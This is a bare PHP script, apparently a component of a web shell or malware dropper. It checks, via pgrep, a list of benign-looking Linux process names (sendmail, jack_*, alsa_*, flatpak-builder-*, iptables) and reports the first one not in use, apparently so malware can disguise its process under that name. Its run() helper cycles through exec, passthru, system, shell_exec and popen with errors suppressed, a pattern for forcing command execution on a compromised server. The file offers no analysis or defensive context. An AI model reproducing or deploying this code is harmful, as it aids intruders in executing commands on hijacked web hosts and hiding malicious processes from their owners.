<?php   $files = ['jack_unalias','sendmail','jack_port_latency','sdptool','jack_freewheel','jack_control','flatpak-build-finish','jack_server','flatpak-builder-tools-status','jack_master_timebase','hciconfig','flatpak-builder-tools-push','iwlist','alsa_delay','alsa_jack','flatpak-builder-tools-make','alsa_merge','jack_transport','flatpak-uninstall','flatpak-builder-tools-build-export','flatpak-builder-init','flatpak-build-export','hostapd','alsa_rawmidi','alsa_poll','alsa_pcm','flatpak-builder-commit','iptables','flatpak-builder-build','alsa_mididev']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }